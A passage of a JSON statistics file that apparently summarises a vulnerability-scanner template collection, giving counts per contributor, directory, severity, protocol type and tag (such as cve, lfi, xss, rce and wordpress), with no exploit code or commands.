farhi","count":4},{"name":"tanq16","count":4},{"name":"tess","count":4},{"name":"e_schultze_","count":4},{"name":"h1ei1","count":4},{"name":"incogbyte","count":4},{"name":"nodauf","count":4},{"name":"defr0ggy","count":4},{"name":"mr-xn","count":3},{"name":"skeltavik","count":3},{"name":"lark-lab","count":3},{"name":"dudez","count":3},{"name":"johnjhacking","count":3},{"name":"0w4ys","count":3},{"name":"shifacyclewala","count":3},{"name":"fyoorer","count":3},{"name":"me9187","count":3},{"name":"github.com/its0x08","count":3},{"name":"sushantkamble","count":3},{"name":"arcc","count":3},{"name":"shine","count":3},{"name":"davidmckennirey","count":3},{"name":"unstabl3","count":3},{"name":"mavericknerd","count":3},{"name":"binaryfigments","count":3},{"name":"gitlab red team","count":3},{"name":"yuzhe-zhang-0","count":3},{"name":"impramodsargar","count":3},{"name":"f1tz","count":3},{"name":"_generic_human_","count":3},{"name":"z3bd","count":3},{"name":"thomas_from_offensity","count":3},{"name":"r3naissance","count":3},{"name":"jarijaas","count":3},{"name":"whoever","count":3},{"name":"andydoering","count":3},{"name":"supras","count":3},{"name":"emenalf","count":3},{"name":"alifathi-h1","count":3},{"name":"yash anand @yashanand155","count":3},{"name":"veshraj","count":3},{"name":"sbani","count":2},{"name":"nuk3s3c","count":2},{"name":"splint3r7","count":2},{"name":"hahwul","count":2},{"name":"martincodes-de","count":2},{"name":"zomsop82","count":2},{"name":"socketz","count":2},{"name":"g4l1t0","count":2},{"name":"hackerarpan","count":2},{"name":"z0ne","count":2},{"name":"cckuakilong","count":2},{"name":"0xcrypto","count":2},{"name":"ajaysenr","count":2},{"name":"raesene","count":2},{"name":"gevakun","count":2},{"name":"paperpen","count":2},{"name":"kre80r","count":2},{"name":"manas_harsh","count":2},{"name":"amsda","count":2},{"name":"hetroublemakr","count":2},{"name":"nvn1729","count":2},{"name":"sy3omda","count":2},{"name":"bernardofsr","count":2},{"name":"moritz nentwig","count":2},{"name":"vsh00t","count":2},{"name":"smaranchand","count":2},{"name":"ehsahil","count":2},{"name":"parth","count":2},{"name":"afaq","count":2},{"name":"redteambrasil","count":2},{"name":"kiblyn11","count":2},{"name":"geekby","count":2},{"name":"0xsmiley","count":2},{"name":"mahendra purbia (mah3sec_)","count":2},{"name":"danielmofer","count":2},{"name":"thardt-praetorian","count":2},{"name":"koti2","count":2},{"name":"y4er","count":2},{"name":"randomrobbie","count":2},{"name":"0xrudra","count":2},{"name":"rafaelwdornelas","count":2},{"name":"luci","count":2},{"name":"r12w4n","count":2},{"name":"dahse89","count":2},{"name":"its0x08","count":2},{"name":"huowuzhao","count":2},{"name":"convisoappsec","count":2},{"name":"k11h-de","count":2},{"name":"mohammedsaneem","count":2},{"name":"cristi vlad (@cristivlad25)","count":2},{"name":"bing0o","count":2},{"name":"hassan khan yusufzai - splint3r7","count":2},{"name":"cocxanh","count":2},{"name":"dheerajmadhukar","count":2},{"name":"ambassify","count":2},{"name":"fabaff","count":2},{"name":"joeldeleep","count":2},{"name":"bananabr","count":2},{"name":"pxmme1337","count":2},{"name":"ree4pwn","count":2},{"name":"taielab","count":2},{"name":"swissky","count":2},{"name":"0xprial","count":2},{"name":"x1m_martijn","count":2},{"name":"w4cky_","count":2},{"name":"lotusdll","count":2},{"name":"0xelkomy","count":2},{"name":"bsysop","count":2},{"name":"udit_thakkur","count":2},{"name":"bp0lr","count":2},{"name":"paradessia","count":2},{"name":"0xsapra","count":2},{"name":"foulenzer","count":2},{"name":"nkxxkn","count":2},{"name":"vavkamil","count":2},{"name":"gal nagli","count":2},{"name":"revblock","count":1},{"name":"mah3sec_","count":1},{"name":"kba@sogeti_esec","count":1},{"name":"osamahamad","count":1},{"name":"schniggie","count":1},{"name":"deena","count":1},{"name":"pratik khalane","count":1},{"name":"ola456","count":1},{"name":"rodnt","count":1},{"name":"yashgoti","count":1},{"name":"sec_hawk","count":1},{"name":"alexrydzak","count":1},{"name":"soyelmago","count":1},{"name":"evan rubinstien","count":1},{"name":"juicypotato1","count":1},{"name":"thebinitghimire","count":1},{"name":"infosecsanyam","count":1},{"name":"xstp","count":1},{"name":"igibanez","count":1},{"name":"francescocarlucci","count":1},{"name":"exceed","count":1},{"name":"x6263","count":1},{"name":"0ut0fb4nd","count":1},{"name":"sshell","count":1},{"name":"shreyapohekar","count":1},{"name":"_darrenmartyn","count":1},{"name":"ratnadip gajbhiye","count":1},{"name":"hakluke","count":1},{"name":"patralos","count":1},{"name":"wabafet","count":1},{"name":"majidmc2","count":1},{"name":"0xd0ff9","count":1},{"name":"2rs3c","count":1},{"name":"matthew nickerson (b0than) @ layer 8 security","count":1},{"name":"berkdusunur","count":1},{"name":"bad5ect0r","count":1},{"name":"harshinsecurity","count":1},{"name":"b0rn2r00t","count":1},{"name":"furkansenan","count":1},{"name":"p-l-","count":1},{"name":"absshax","count":1},{"name":"lethargynavigator","count":1},{"name":"breno_css","count":1},{"name":"fopina","count":1},{"name":"0xteles","count":1},{"name":"ohlinge","count":1},{"name":"cookiehanhoan","count":1},{"name":"rubina119","count":1},{"name":"ph33r","count":1},{"name":"phyr3wall","count":1},{"name":"zsusac","count":1},{"name":"prettyboyaaditya","count":1},{"name":"jeya seelan","count":1},{"name":"sherlocksecurity","count":1},{"name":"adrianmf","count":1},{"name":"retr0","count":1},{"name":"aceseven (digisec360)","count":1},{"name":"0xtavian","count":1},{"name":"noobexploiter","count":1},{"name":"myztique","count":1},{"name":"ringo","count":1},{"name":"omarkurt","count":1},{"name":"charanrayudu","count":1},{"name":"zhenwarx","count":1},{"name":"th3.d1p4k","count":1},{"name":"xshuden","count":1},{"name":"oscarintherocks","count":1},{"name":"whynotke","count":1},{"name":"amnotacat","count":1},{"name":"opencirt","count":1},{"name":"dievus","count":1},{"name":"ofjaaah","count":1},{"name":"thezakman","count":1},{"name":"notsoevilweasel","count":1},{"name":"j3ssie/geraldino2","count":1},{"name":"brabbit10","count":1},{"name":"dawid-czarnecki","count":1},{"name":"udyz","count":1},{"name":"hanlaomo","count":1},{"name":"qlkwej","count":1},{"name":"jas37","count":1},{"name":"remonsec","count":1},{"name":"narluin","count":1},{"name":"aaron_costello (@conspiracyproof)","count":1},{"name":"daffianfo","count":1},{"name":"act1on3","count":1},{"name":"akshansh","count":1},{"name":"thevillagehacker","count":1},{"name":"affix","count":1},{"name":"jeya.seelan","count":1},{"name":"push4d","count":1},{"name":"v0idc0de","count":1},{"name":"d0rkerdevil","count":1},{"name":"orpheus","count":1},{"name":"justmumu","count":1},{"name":"apt-mirror","count":1},{"name":"arr0way","count":1},{"name":"c3l3si4n","count":1},{"name":"prajiteshsingh","count":1},{"name":"pudsec","count":1},{"name":"luskabol","count":1},{"name":"petruknisme","count":1},{"name":"kaizensecurity","count":1},{"name":"makyotox","count":1},{"name":"mesaglio","count":1},{"name":"d4vy","count":1},{"name":"ooooooo_q","count":1},{"name":"toufik-airane","count":1},{"name":"exploitation","count":1},{"name":"_harleo","count":1},{"name":"clment cruchet","count":1},{"name":"kabirsuda","count":1},{"name":"intx0x80","count":1},{"name":"twitter.com/dheerajmadhukar","count":1},{"name":"0xrod","count":1},{"name":"xeldax","count":1},{"name":"3th1c_yuk1","count":1},{"name":"duty_1g","count":1},{"name":"shelld3v","count":1},{"name":"kurohost","count":1},{"name":"tirtha","count":1},{"name":"s1r1u5_","count":1},{"name":"luqmaan hadia","count":1},{"name":"streetofhackerr007 (rohit soni)","count":1},{"name":"yashanand155","count":1},{"name":"rschio","count":1},{"name":"kailashbohara","count":1},{"name":"alevsk","count":1},{"name":"miroslavsotak","count":1},{"name":"tim_koopmans","count":1},{"name":"jrolf","count":1},{"name":"un-fmunozs","count":1},{"name":"daviey","count":1},{"name":"kiks7","count":1},{"name":"philippdelteil","count":1},{"name":"bernardo rodrigues @bernardofsr | andrรฉ monteiro @am0nt31r0","count":1},{"name":"tea","count":1},{"name":"bibeksapkota (sar00n)","count":1},{"name":"akash.c","count":1},{"name":"kareemse1im","count":1},{"name":"jteles","count":1},{"name":"compr00t","count":1},{"name":"0xceeb","count":1},{"name":"kishore krishna (sillydaddy)","count":1},{"name":"luqman","count":1},{"name":"manuelbua","count":1},{"name":"0xh7ml","count":1},{"name":"noamrathaus","count":1},{"name":"andirrahmani1","count":1},{"name":"mrcl0wnlab","count":1},{"name":"nerrorsec","count":1},{"name":"f1she3","count":1},{"name":"b0yd","count":1},{"name":"yuansec","count":1},{"name":"jbaines-r7","count":1},{"name":"elmahdi","count":1},{"name":"mhdsamx","count":1},{"name":"aresx","count":1},{"name":"micha3lb3n","count":1},{"name":"_c0wb0y_","count":1},{"name":"aaronchen0","count":1},{"name":"bartu utku sarp","count":1},{"name":"florianmaak","count":1},{"name":"nytr0gen","count":1},{"name":"sickwell","count":1},{"name":"momen eldawakhly","count":1},{"name":"lark lab","count":1},{"name":"ilovebinbash","count":1},{"name":"sid ahmed malaoui @ realistic security","count":1},{"name":"bjhulst","count":1},{"name":"ahmed sherif","count":1},{"name":"geraldino2","count":1},{"name":"bernardo rodrigues @bernardofsr","count":1},{"name":"andysvints","count":1},{"name":"ldionmarcil","count":1},{"name":"j33n1k4","count":1},{"name":"shifacyclewla","count":1},{"name":"thesubtlety","count":1},{"name":"arall","count":1},{"name":"skylark-lab","count":1},{"name":"clarkvoss","count":1},{"name":"streetofhackerr007","count":1},{"name":"rojanrijal","count":1},{"name":"retr02332","count":1},{"name":"husain","count":1},{"name":"ok_bye_now","count":1},{"name":"exid","count":1},{"name":"elouhi","count":1},{"name":"official_blackhat13","count":1},{"name":"alex","count":1},{"name":"nielsing","count":1},{"name":"chron0x","count":1},{"name":"fmunozs","count":1},{"name":"ggranjus","count":1},{"name":"gboddin","count":1},{"name":"ipanda","count":1},{"name":"evolutionsec","count":1},{"name":"borna nematzadeh","count":1},{"name":"sicksec","count":1},{"name":"pdp","count":1},{"name":"dhiyaneshdki","count":1},{"name":"mass0ma","count":1},{"name":"furkansayim","count":1},{"name":"0xceba","count":1},{"name":"higor melgaรงo (eremit4)","count":1},{"name":"izn0u","count":1},{"name":"remi gascou (podalirius)","count":1},{"name":"alperenkesk","count":1},{"name":"undefl0w","count":1},{"name":"becivells","count":1},{"name":"flag007","count":1},{"name":"fq_hsu","count":1},{"name":"ahmetpergamum","count":1},{"name":"coldfish","count":1},{"name":"zandros0","count":1},{"name":"willd96","count":1},{"name":"elder tao","count":1},{"name":"anon-artist","count":1},{"name":"knassar702","count":1},{"name":"0h1in9e","count":1},{"name":"blckraven","count":1},{"name":"hexcat","count":1},{"name":"rotemreiss","count":1},{"name":"tirtha_mandal","count":1},{"name":"ahmed abou-ela","count":1},{"name":"bughuntersurya","count":1},{"name":"jiheon-dev","count":1},{"name":"iampritam","count":1},{"name":"brenocss","count":1},{"name":"korteke","count":1},{"name":"co0nan","count":1},{"name":"regala_","count":1},{"name":"0ri2n","count":1},{"name":"ivo palazzolo (@palaziv)","count":1},{"name":"droberson","count":1},{"name":"b4uh0lz","count":1},{"name":"zinminphy0","count":1},{"name":"vzamanillo","count":1},{"name":"mubassirpatel","count":1},{"name":"manasmbellani","count":1},{"name":"manikanta a.k.a @secureitmania","count":1},{"name":"yavolo","count":1},{"name":"notnotnotveg","count":1},{"name":"wlayzz","count":1}],"directory":[{"name":"cves","count":1160},{"name":"exposed-panels","count":523},{"name":"vulnerabilities","count":452},{"name":"technologies","count":255},{"name":"exposures","count":204},{"name":"misconfiguration","count":197},{"name":"workflows","count":186},{"name":"token-spray","count":154},{"name":"default-logins","count":95},{"name":"file","count":68},{"name":"takeovers","count":67},{"name":"iot","count":38},{"name":"network","count":35},{"name":"miscellaneous","count":23},{"name":"cnvd","count":22},{"name":"dns","count":17},{"name":"fuzzing","count":12},{"name":"headless","count":6},{"name":"ssl","count":4}],"severity":[{"name":"info","count":1192},{"name":"high","count":874},{"name":"medium","count":662},{"name":"critical","count":414},{"name":"low","count":183},{"name":"unknown","count":6}],"types":[{"name":"http","count":3187},{"name":"file","count":68},{"name":"network","count":50},{"name":"dns","count":17}]} +{"tags":[{"name":"cve","count":1430},{"name":"panel","count":655},{"name":"edb","count":563},{"name":"lfi","count":509},{"name":"xss","count":491},{"name":"wordpress","count":419},{"name":"exposure","count":407},{"name":"cve2021","count":352},{"name":"rce","count":337},{"name":"wp-plugin","count":316},{"name":"tech","count":295},{"name":"packetstorm","count":276},{"name":"token-spray","count":230},{"name":"cve2020","count":214},{"name":"wpscan","count":212},{"name":"","count":194},{"name":"cve2022","count":184},{"name":"unauth","count":158},{"name":"config","count":147},{"name":"cve2018","count":144},{"name":"kev","count":141},{"name":"cve2019","count":135},{"name":"wp","count":134},{"name":"joomla","count":133},{"name":"apache","count":123},{"name":"default-login","count":118},{"name":"iot","count":116},{"name":"oast","count":112},{"name":"cve2010","count":111},{"name":"misconfig","count":107},{"name":"sqli","count":95},{"name":"authenticated","count":90},{"name":"login","count":87},{"name":"redirect","count":87},{"name":"router","count":84},{"name":"takeover","count":74},{"name":"token","count":72},{"name":"devops","count":71},{"name":"ssrf","count":69},{"name":"cve2017","count":67},{"name":"file","count":60},{"name":"auth-bypass","count":59},{"name":"oracle","count":57},{"name":"intrusive","count":56},{"name":"network","count":55},{"name":"cms","count":55},{"name":"disclosure","count":53},{"name":"seclists","count":51},{"name":"cve2016","count":48},{"name":"cisco","count":47},{"name":"cve2015","count":46},{"name":"google","count":46},{"name":"fileupload","count":44},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"adobe","count":40},{"name":"oss","count":39},{"name":"aem","count":36},{"name":"vulhub","count":36},{"name":"logs","count":36},{"name":"vmware","count":35},{"name":"traversal","count":35},{"name":"atlassian","count":34},{"name":"tenable","count":33},{"name":"injection","count":33},{"name":"listing","count":31},{"name":"hackerone","count":31},{"name":"jira","count":31},{"name":"springboot","count":28},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"kubernetes","count":27},{"name":"huntr","count":27},{"name":"sap","count":25},{"name":"cnvd","count":25},{"name":"log4j","count":25},{"name":"microsoft","count":23},{"name":"proxy","count":23},{"name":"debug","count":22},{"name":"jndi","count":22},{"name":"wp-theme","count":21},{"name":"manageengine","count":21},{"name":"zoho","count":21},{"name":"misc","count":21},{"name":"cve2012","count":20},{"name":"aws","count":20},{"name":"fuzz","count":20},{"name":"weblogic","count":19},{"name":"tomcat","count":19},{"name":"php","count":19},{"name":"deserialization","count":19},{"name":"api","count":18},{"name":"ibm","count":18},{"name":"k8s","count":18},{"name":"camera","count":18},{"name":"dlink","count":18},{"name":"service","count":18},{"name":"jenkins","count":17},{"name":"cloud","count":17},{"name":"wavlink","count":17},{"name":"cicd","count":16},{"name":"struts","count":16},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"gitlab","count":15},{"name":"firewall","count":15},{"name":"cve2009","count":15},{"name":"domainmod","count":14},{"name":"hp","count":14},{"name":"printer","count":14},{"name":"java","count":14},{"name":"android","count":14},{"name":"ruijie","count":13},{"name":"cve2013","count":13},{"name":"abstractapi","count":13},{"name":"msf","count":13},{"name":"lfr","count":13},{"name":"status","count":12},{"name":"magento","count":12},{"name":"netgear","count":12},{"name":"drupal","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"ftp","count":12},{"name":"confluence","count":12},{"name":"rails","count":12},{"name":"nginx","count":12},{"name":"glpi","count":11},{"name":"cnvd2021","count":11},{"name":"cisa","count":11},{"name":"amazon","count":11},{"name":"azure","count":11},{"name":"microweber","count":11},{"name":"airflow","count":11},{"name":"cve2008","count":11},{"name":"backup","count":11},{"name":"woocommerce","count":11},{"name":"grafana","count":10},{"name":"github","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"dell","count":10},{"name":"coldfusion","count":10},{"name":"fortigate","count":10},{"name":"zyxel","count":10},{"name":"django","count":10},{"name":"backdoor","count":9},{"name":"iis","count":9},{"name":"fastjson","count":9},{"name":"wso2","count":9},{"name":"mirai","count":9},{"name":"laravel","count":9},{"name":"windows","count":9},{"name":"vcenter","count":9},{"name":"webserver","count":9},{"name":"ruby","count":9},{"name":"kube","count":9},{"name":"dedecms","count":9},{"name":"phpmyadmin","count":9},{"name":"prometheus","count":9},{"name":"auth","count":9},{"name":"zabbix","count":9},{"name":"fortinet","count":9},{"name":"vpn","count":8},{"name":"cisco-switch","count":8},{"name":"scada","count":8},{"name":"sonicwall","count":8},{"name":"recon","count":8},{"name":"git","count":8},{"name":"jboss","count":8},{"name":"config-audit","count":8},{"name":"citrix","count":8},{"name":"ssti","count":8},{"name":"metadata","count":8},{"name":"headless","count":8},{"name":"zimbra","count":8},{"name":"kafka","count":8},{"name":"elasticsearch","count":8},{"name":"blind","count":8},{"name":"audit","count":8},{"name":"solr","count":8},{"name":"ssl","count":8},{"name":"cnvd2020","count":7},{"name":"exchange","count":7},{"name":"mail","count":7},{"name":"python","count":7},{"name":"firebase","count":7},{"name":"jetbrains","count":7},{"name":"icewarp","count":7},{"name":"solarview","count":7},{"name":"druid","count":7},{"name":"bucket","count":7},{"name":"files","count":7},{"name":"symfony","count":7},{"name":"maps","count":7},{"name":"docker","count":7},{"name":"squirrelmail","count":7},{"name":"samsung","count":6},{"name":"jetty","count":6},{"name":"fpd","count":6},{"name":"setup","count":6},{"name":"artica","count":6},{"name":"ecology","count":6},{"name":"go","count":6},{"name":"ognl","count":6},{"name":"bypass","count":6},{"name":"ofbiz","count":6},{"name":"crlf","count":6},{"name":"sitecore","count":6},{"name":"huawei","count":6},{"name":"zhiyuan","count":6},{"name":"rconfig","count":6},{"name":"kubelet","count":6},{"name":"cobbler","count":6},{"name":"slack","count":6},{"name":"enum","count":6},{"name":"bigip","count":6},{"name":"lucee","count":6},{"name":"npm","count":6},{"name":"nodejs","count":6},{"name":"seeyon","count":6},{"name":"magmi","count":6},{"name":"websphere","count":6},{"name":"liferay","count":6},{"name":"vms","count":6},{"name":"emerge","count":6},{"name":"firmware","count":5},{"name":"avideo","count":5},{"name":"elfinder","count":5},{"name":"cockpit","count":5},{"name":"solarwinds","count":5},{"name":"scan","count":5},{"name":"carrental","count":5},{"name":"apisix","count":5},{"name":"minio","count":5},{"name":"alibaba","count":5},{"name":"node","count":5},{"name":"storage","count":5},{"name":"opensis","count":5},{"name":"rfi","count":5},{"name":"ssh","count":5},{"name":"gogs","count":5},{"name":"plesk","count":5},{"name":"moodle","count":5},{"name":"circarlife","count":5},{"name":"thinkphp","count":5},{"name":"gocd","count":5},{"name":"fatpipe","count":5},{"name":"metinfo","count":5},{"name":"keycloak","count":5},{"name":"nagios","count":5},{"name":"symantec","count":5},{"name":"jamf","count":5},{"name":"leak","count":5},{"name":"error","count":5},{"name":"strapi","count":5},{"name":"cache","count":5},{"name":"74cms","count":5},{"name":"rseenet","count":5},{"name":"awstats","count":4},{"name":"xmlrpc","count":4},{"name":"resin","count":4},{"name":"gnuboard","count":4},{"name":"hpe","count":4},{"name":"oauth","count":4},{"name":"terramaster","count":4},{"name":"cacti","count":4},{"name":"sonarqube","count":4},{"name":"vrealize","count":4},{"name":"jellyfin","count":4},{"name":"telerik","count":4},{"name":"phpinfo","count":4},{"name":"hybris","count":4},{"name":"filemanager","count":4},{"name":"adminer","count":4},{"name":"search","count":4},{"name":"hashicorp","count":4},{"name":"phppgadmin","count":4},{"name":"install","count":4},{"name":"hikvision","count":4},{"name":"caucho","count":4},{"name":"flink","count":4},{"name":"yeswiki","count":4},{"name":"aspose","count":4},{"name":"database","count":4},{"name":"puppet","count":4},{"name":"wcs","count":4},{"name":"kevinlab","count":4},{"name":"vbulletin","count":4},{"name":"panos","count":4},{"name":"telesquare","count":4},{"name":"hoteldruid","count":4},{"name":"hongdian","count":4},{"name":"beyondtrust","count":4},{"name":"sql","count":4},{"name":"photo","count":4},{"name":"mailchimp","count":4},{"name":"asp","count":4},{"name":"stripe","count":4},{"name":"cnvd2019","count":4},{"name":"royalevent","count":4},{"name":"activemq","count":4},{"name":"couchdb","count":4},{"name":"mongodb","count":4},{"name":"springcloud","count":4},{"name":"kibana","count":4},{"name":"elastic","count":4},{"name":"sangfor","count":4},{"name":"smtp","count":4},{"name":"voip","count":4},{"name":"thinkcmf","count":4},{"name":"tikiwiki","count":4},{"name":"db","count":4},{"name":"parallels","count":4},{"name":"sophos","count":4},{"name":"cve2007","count":4},{"name":"redis","count":4},{"name":"redmine","count":4},{"name":"horde","count":4},{"name":"nexus","count":4},{"name":"paypal","count":4},{"name":"roxy","count":4},{"name":"openemr","count":4},{"name":"oa","count":4},{"name":"prestashop","count":4},{"name":"artifactory","count":4},{"name":"postmessage","count":4},{"name":"microstrategy","count":4},{"name":"ems","count":4},{"name":"servicenow","count":3},{"name":"ivanti","count":3},{"name":"webmail","count":3},{"name":"sendgrid","count":3},{"name":"lansweeper","count":3},{"name":"tenda","count":3},{"name":"messaging","count":3},{"name":"splunk","count":3},{"name":"targa","count":3},{"name":"linkerd","count":3},{"name":"ec2","count":3},{"name":"zte","count":3},{"name":"drawio","count":3},{"name":"hsphere","count":3},{"name":"umbraco","count":3},{"name":"buffalo","count":3},{"name":"elementor","count":3},{"name":"intercom","count":3},{"name":"netlify","count":3},{"name":"thruk","count":3},{"name":"kingsoft","count":3},{"name":"synology","count":3},{"name":"sharepoint","count":3},{"name":"glassfish","count":3},{"name":"samba","count":3},{"name":"mcafee","count":3},{"name":"microfocus","count":3},{"name":"bruteforce","count":3},{"name":"digitalocean","count":3},{"name":"r-seenet","count":3},{"name":"kentico","count":3},{"name":"digitalrebar","count":3},{"name":"aptus","count":3},{"name":"circleci","count":3},{"name":"prtg","count":3},{"name":"linksys","count":3},{"name":"selea","count":3},{"name":"nuuo","count":3},{"name":"sugarcrm","count":3},{"name":"omnia","count":3},{"name":"graylog","count":3},{"name":"nacos","count":3},{"name":"globalprotect","count":3},{"name":"pip","count":3},{"name":"trendnet","count":3},{"name":"webadmin","count":3},{"name":"cve2005","count":3},{"name":"panabit","count":3},{"name":"jfrog","count":3},{"name":"httpd","count":3},{"name":"fortios","count":3},{"name":"exposures","count":3},{"name":"dotcms","count":3},{"name":"netdata","count":3},{"name":"epson","count":3},{"name":"wordfence","count":3},{"name":"consul","count":3},{"name":"heroku","count":3},{"name":"thinfinity","count":3},{"name":"metabase","count":3},{"name":"s3","count":3},{"name":"kkfileview","count":3},{"name":"openbmcs","count":3},{"name":"smb","count":3},{"name":"axis2","count":3},{"name":"nosqli","count":3},{"name":"workspaceone","count":3},{"name":"blockchain","count":3},{"name":"ampps","count":3},{"name":"log","count":3},{"name":"lotus","count":3},{"name":"sentry","count":3},{"name":"bigant","count":3},{"name":"rackn","count":3},{"name":"bitrix","count":3},{"name":"matrix","count":3},{"name":"axis","count":3},{"name":"rlm","count":3},{"name":"centos","count":3},{"name":"openam","count":3},{"name":"geowebserver","count":3},{"name":"grav","count":3},{"name":"actuator","count":3},{"name":"empirecms","count":3},{"name":"jeesns","count":3},{"name":"teamcity","count":3},{"name":"subrion","count":3},{"name":"voipmonitor","count":3},{"name":"geoserver","count":3},{"name":"concrete","count":3},{"name":"weiphp","count":3},{"name":"axigen","count":3},{"name":"fileman","count":3},{"name":"tableau","count":3},{"name":"pentaho","count":3},{"name":"movable","count":3},{"name":"ebs","count":3},{"name":"httpbin","count":3},{"name":"dom","count":3},{"name":"dolibarr","count":3},{"name":"mobileiron","count":3},{"name":"javascript","count":3},{"name":"dreambox","count":3},{"name":"nortek","count":3},{"name":"facebook","count":3},{"name":"square","count":3},{"name":"zeroshell","count":3},{"name":"octobercms","count":3},{"name":"mongo","count":3},{"name":"seagate","count":3},{"name":"odoo","count":3},{"name":"jupyter","count":3},{"name":"technology","count":3},{"name":"modem","count":3},{"name":"finecms","count":3},{"name":"graph","count":3},{"name":"3cx","count":3},{"name":"trixbox","count":3},{"name":"fanruan","count":3},{"name":"goanywhere","count":3},{"name":"fuelcms","count":3},{"name":"dzzoffice","count":3},{"name":"cloudflare","count":3},{"name":"getsimple","count":3},{"name":"netis","count":2},{"name":"nextjs","count":2},{"name":"phpstorm","count":2},{"name":"hubspot","count":2},{"name":"ericsson","count":2},{"name":"iptime","count":2},{"name":"impresscms","count":2},{"name":"books","count":2},{"name":"netsus","count":2},{"name":"avaya","count":2},{"name":"openssh","count":2},{"name":"appcms","count":2},{"name":"mbean","count":2},{"name":"netscaler","count":2},{"name":"servicedesk","count":2},{"name":"livezilla","count":2},{"name":"dubbo","count":2},{"name":"eris","count":2},{"name":"xoops","count":2},{"name":"influxdb","count":2},{"name":"virtua","count":2},{"name":"hasura","count":2},{"name":"erxes","count":2},{"name":"kavita","count":2},{"name":"justwriting","count":2},{"name":"couchbase","count":2},{"name":"typo3","count":2},{"name":"conductor","count":2},{"name":"linkedin","count":2},{"name":"xweb500","count":2},{"name":"seacms","count":2},{"name":"seeddms","count":2},{"name":"rocketchat","count":2},{"name":"intellian","count":2},{"name":"jeedom","count":2},{"name":"pascom","count":2},{"name":"teampass","count":2},{"name":"supermicro","count":2},{"name":"wooyun","count":2},{"name":"j2ee","count":2},{"name":"mantisbt","count":2},{"name":"rosariosis","count":2},{"name":"pmb","count":2},{"name":"natshell","count":2},{"name":"froxlor","count":2},{"name":"scriptcase","count":2},{"name":"webcam","count":2},{"name":"syslog","count":2},{"name":"seowon","count":2},{"name":"password","count":2},{"name":"wuzhicms","count":2},{"name":"waf","count":2},{"name":"contao","count":2},{"name":"redhat","count":2},{"name":"payara","count":2},{"name":"weather","count":2},{"name":"virtualui","count":2},{"name":"gophish","count":2},{"name":"xceedium","count":2},{"name":"mailgun","count":2},{"name":"homematic","count":2},{"name":"backups","count":2},{"name":"xerox","count":2},{"name":"globaldomains","count":2},{"name":"listserv","count":2},{"name":"rabbitmq","count":2},{"name":"commax","count":2},{"name":"akamai","count":2},{"name":"atmail","count":2},{"name":"nasos","count":2},{"name":"clansphere","count":2},{"name":"traefik","count":2},{"name":"aviatrix","count":2},{"name":"csrf","count":2},{"name":"rstudio","count":2},{"name":"rundeck","count":2},{"name":"chamilo","count":2},{"name":"dos","count":2},{"name":"hiveos","count":2},{"name":"ilo","count":2},{"name":"xsuite","count":2},{"name":"tileserver","count":2},{"name":"node-red-dashboard","count":2},{"name":"gitbook","count":2},{"name":"oidc","count":2},{"name":"arcgis","count":2},{"name":"ixcache","count":2},{"name":"chiyu","count":2},{"name":"wamp","count":2},{"name":"craftcms","count":2},{"name":"kettle","count":2},{"name":"unifi","count":2},{"name":"livehelperchat","count":2},{"name":"veeam","count":2},{"name":"showdoc","count":2},{"name":"zend","count":2},{"name":"dvwa","count":2},{"name":"ghost","count":2},{"name":"audiocodes","count":2},{"name":"yapi","count":2},{"name":"cyberoam","count":2},{"name":"owasp","count":2},{"name":"labkey","count":2},{"name":"openvpn","count":2},{"name":"chyrp","count":2},{"name":"h3c","count":2},{"name":"redash","count":2},{"name":"eventum","count":2},{"name":"angular","count":2},{"name":"bomgar","count":2},{"name":"ebook","count":2},{"name":"electron","count":2},{"name":"plastic","count":2},{"name":"igs","count":2},{"name":"otobo","count":2},{"name":"openresty","count":2},{"name":"wpqa","count":2},{"name":"text","count":2},{"name":"pulse","count":2},{"name":"hjtcloud","count":2},{"name":"pfsense","count":2},{"name":"landesk","count":2},{"name":"dotnetnuke","count":2},{"name":"fiori","count":2},{"name":"auerswald","count":2},{"name":"avantfax","count":2},{"name":"swagger","count":2},{"name":"gespage","count":2},{"name":"vidyo","count":2},{"name":"openwrt","count":2},{"name":"reolink","count":2},{"name":"loytec","count":2},{"name":"acrolinx","count":2},{"name":"forum","count":2},{"name":"circontrol","count":2},{"name":"favicon","count":2},{"name":"kong","count":2},{"name":"apollo","count":2},{"name":"resourcespace","count":2},{"name":"gitlist","count":2},{"name":"smartstore","count":2},{"name":"harbor","count":2},{"name":"saltstack","count":2},{"name":"flir","count":2},{"name":"cloudinary","count":2},{"name":"pcoip","count":2},{"name":"lighttpd","count":2},{"name":"sidekiq","count":2},{"name":"osticket","count":2},{"name":"checkpoint","count":2},{"name":"accela","count":2},{"name":"ranger","count":2},{"name":"phpcollab","count":2},{"name":"forcepoint","count":2},{"name":"airtame","count":2},{"name":"cgi","count":2},{"name":"neos","count":2},{"name":"konga","count":2},{"name":"watchguard","count":2},{"name":"azkaban","count":2},{"name":"f5","count":2},{"name":"eyesofnetwork","count":2},{"name":"qnap","count":2},{"name":"ametys","count":2},{"name":"itop","count":2},{"name":"avtech","count":2},{"name":"hostheader-injection","count":2},{"name":"pbootcms","count":2},{"name":"skycaiji","count":2},{"name":"ecoa","count":2},{"name":"docs","count":2},{"name":"ucmdb","count":2},{"name":"nextcloud","count":2},{"name":"hadoop","count":2},{"name":"middleware","count":2},{"name":"sqlite","count":2},{"name":"eprints","count":2},{"name":"dynamicweb","count":2},{"name":"cocoon","count":2},{"name":"domxss","count":2},{"name":"twitter","count":2},{"name":"gitea","count":2},{"name":"phpshowtime","count":2},{"name":"terraform","count":2},{"name":"mida","count":2},{"name":"wwbn","count":2},{"name":"sequoiadb","count":2},{"name":"glances","count":2},{"name":"flightpath","count":2},{"name":"tidb","count":2},{"name":"octoprint","count":2},{"name":"pam","count":2},{"name":"uwsgi","count":2},{"name":"hms","count":2},{"name":"corebos","count":2},{"name":"horizon","count":2},{"name":"graphite","count":2},{"name":"mysql","count":2},{"name":"xxljob","count":2},{"name":"carel","count":2},{"name":"fastcgi","count":2},{"name":"alienvault","count":2},{"name":"orchid","count":2},{"name":"vigorconnect","count":2},{"name":"maian","count":2},{"name":"tapestry","count":2},{"name":"jsf","count":2},{"name":"embed","count":2},{"name":"frp","count":2},{"name":"linux","count":2},{"name":"tongda","count":2},{"name":"aruba","count":2},{"name":"projectsend","count":2},{"name":"rockmongo","count":2},{"name":"codeigniter","count":2},{"name":"pega","count":2},{"name":"idor"